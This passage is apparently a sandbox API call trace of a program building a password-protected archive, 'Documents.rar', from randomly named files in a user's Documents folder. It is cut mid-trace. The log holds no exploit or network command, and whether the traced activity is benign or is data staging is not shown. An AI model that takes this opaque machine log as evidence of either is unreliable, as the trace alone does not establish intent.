1 [0068.933] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.933] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.933] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659b0, Size=0x48) returned 0x39db40 [0068.933] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.933] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.933] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659b0, Size=0x48) returned 0x39daf0 [0068.933] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.933] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.933] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.933] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.933] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b659e0 | out: hHeap=0x2e0000) returned 1 [0068.933] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b659b0 | out: hHeap=0x2e0000) returned 1 [0068.933] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65980, Size=0x50) returned 0x3b5b210 [0068.933] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x8c) returned 0x3b696e0 [0068.933] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.933] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b696e0 | out: hHeap=0x2e0000) returned 1 [0068.934] GetTickCount () returned 0xa6782e [0068.934] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14427479868) returned 1 [0068.934] GetTickCount () returned 0xa6782e [0068.934] GetTickCount () returned 0xa6782e [0068.934] GetTickCount () returned 0xa6782e [0068.934] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.934] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.935] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.935] ResetEvent (hEvent=0x1a4) returned 1 [0068.935] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.936] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.936] ResetEvent (hEvent=0x1a4) returned 1 [0068.936] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.937] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.937] GetTickCount () returned 0xa6783e [0068.937] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14427765698) returned 1 [0068.937] GetTickCount () returned 0xa6783e [0068.937] GetTickCount () returned 0xa6783e [0068.937] GetTickCount () returned 0xa6783e [0068.937] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.937] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.937] GetFocus () returned 0x0 [0068.937] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.937] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.937] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.937] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.937] ResetEvent (hEvent=0x190) returned 1 [0068.938] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.938] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.938] ResetEvent (hEvent=0x190) returned 1 [0068.938] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.938] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.938] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.938] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.938] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3e943b [0068.938] SetFilePointer (in: hFile=0x198, lDistanceToMove=138, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3e94c5 [0068.938] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.938] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.938] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.939] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.939] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.939] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x6f20, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x6f20, lpOverlapped=0x0) returned 1 [0068.939] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.939] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.939] SetFilePointer (in: hFile=0x198, lDistanceToMove=4101179, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3e943b [0068.939] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3e943b [0068.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.939] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659b0, Size=0x48) returned 0x39daf0 [0068.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.939] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659b0, Size=0x48) returned 0x39db40 [0068.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.939] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b659e0 | out: hHeap=0x2e0000) returned 1 [0068.939] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b659b0 | out: hHeap=0x2e0000) returned 1 [0068.939] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65980, Size=0x50) returned 0x3b5b210 [0068.939] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b5b210, Size=0x8c) returned 0x3b696e0 [0068.939] WriteFile (in: hFile=0x198, lpBuffer=0x3b696e2*, nNumberOfBytesToWrite=0x8a, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3b696e2*, lpNumberOfBytesWritten=0x1c82c0*=0x8a, lpOverlapped=0x0) returned 1 [0068.940] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65980 [0068.940] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8a) returned 0x3b65c10 [0068.940] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.940] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b696e0 | out: hHeap=0x2e0000) returned 1 [0068.940] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3f03e5 [0068.940] CloseHandle (hObject=0x1b0) returned 1 [0068.940] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.940] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.940] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.940] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.940] FindFirstFileW (in: lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\fcVw7y.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.940] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.940] CreateFileW (lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\fcVw7y.csv" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\ticknwyqxorsfs05kwkk\\fcvw7y.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.940] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.940] GetTickCount () returned 0xa6783e [0068.940] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.940] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.940] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.940] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.940] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="2J0TC8BES4f8Vy_7 a7O.csv") returned 24 [0068.940] SetWindowTextW (hWnd=0x10280, lpString="fcVw7y.csv") returned 1 [0068.940] GetTickCount () returned 0xa6783e [0068.940] UpdateWindow (hWnd=0x10278) returned 1 [0068.940] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.940] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.941] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.941] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.941] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x214)) [0068.941] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.941] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14428131575) returned 1 [0068.941] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xae6d, lpOverlapped=0x0) returned 1 [0068.942] ReadFile (in: hFile=0x1b0, lpBuffer=0x36aaead, nNumberOfBytesToRead=0xf5193, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36aaead*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.942] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.942] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.942] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659e0, Size=0x48) returned 0x39db40 [0068.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.942] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659e0, Size=0x48) returned 0x39daf0 [0068.942] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.942] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.942] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.942] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a10 | out: hHeap=0x2e0000) returned 1 [0068.942] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b659e0 | out: hHeap=0x2e0000) returned 1 [0068.942] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659b0, Size=0x48) returned 0x39db40 [0068.942] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7e) returned 0x3a3910 [0068.942] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.942] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.943] GetTickCount () returned 0xa6783e [0068.943] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14428314385) returned 1 [0068.943] GetTickCount () returned 0xa6783e [0068.943] GetTickCount () returned 0xa6783e [0068.943] GetTickCount () returned 0xa6783e [0068.943] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.943] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.943] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.943] ResetEvent (hEvent=0x1a4) returned 1 [0068.943] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.945] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.945] ResetEvent (hEvent=0x1a4) returned 1 [0068.945] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.946] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.946] GetTickCount () returned 0xa6783e [0068.946] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14428689933) returned 1 [0068.947] GetTickCount () returned 0xa6783e [0068.947] GetTickCount () returned 0xa6783e [0068.947] GetTickCount () returned 0xa6783e [0068.947] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.947] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.947] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.947] ResetEvent (hEvent=0x190) returned 1 [0068.947] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.947] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.947] ResetEvent (hEvent=0x190) returned 1 [0068.947] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.948] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.948] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.948] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.948] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x3f03e5 [0068.948] SetFilePointer (in: hFile=0x198, lDistanceToMove=123, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x3f0460 [0068.948] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.948] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.948] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.948] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.948] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xaed0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xaed0, lpOverlapped=0x0) returned 1 [0068.949] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.949] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=4129765, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3f03e5 [0068.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x3f03e5 [0068.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.949] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659e0, Size=0x48) returned 0x39daf0 [0068.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.949] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659e0, Size=0x48) returned 0x39db40 [0068.949] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.949] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 [0068.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65a10 [0068.949] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65a10 | out: hHeap=0x2e0000) returned 1 [0068.949] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b659e0 | out: hHeap=0x2e0000) returned 1 [0068.949] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b659b0, Size=0x48) returned 0x39daf0 [0068.949] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7e) returned 0x3a3910 [0068.949] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x7b, lpOverlapped=0x0) returned 1 [0068.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659b0 [0068.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x7b) returned 0x3a3e20 [0068.949] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.949] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.949] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x3fb330 [0068.949] CloseHandle (hObject=0x1b0) returned 1 [0068.949] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.949] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.949] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.949] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.949] FindFirstFileW (in: lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\MoqtBms5meoe1w.rtf", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.950] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.950] CreateFileW (lpFileName="XRS5ksD\\tiCKnWYQXORSFs05KwkK\\MoqtBms5meoe1w.rtf" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\ticknwyqxorsfs05kwkk\\moqtbms5meoe1w.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.950] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.950] GetTickCount () returned 0xa6783e [0068.950] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.950] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.950] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.950] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.950] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="fcVw7y.csv") returned 10 [0068.950] SetWindowTextW (hWnd=0x10280, lpString="MoqtBms5meoe1w.rtf") returned 1 [0068.950] GetTickCount () returned 0xa6783e [0068.950] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.950] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.950] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.951] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.951] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x214)) [0068.951] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.951] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14429123259) returned 1 [0068.951] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x155ab, lpOverlapped=0x0) returned 1 [0068.952] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b55eb, nNumberOfBytesToRead=0xeaa55, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b55eb*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.952] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.952] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.952] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b659e0 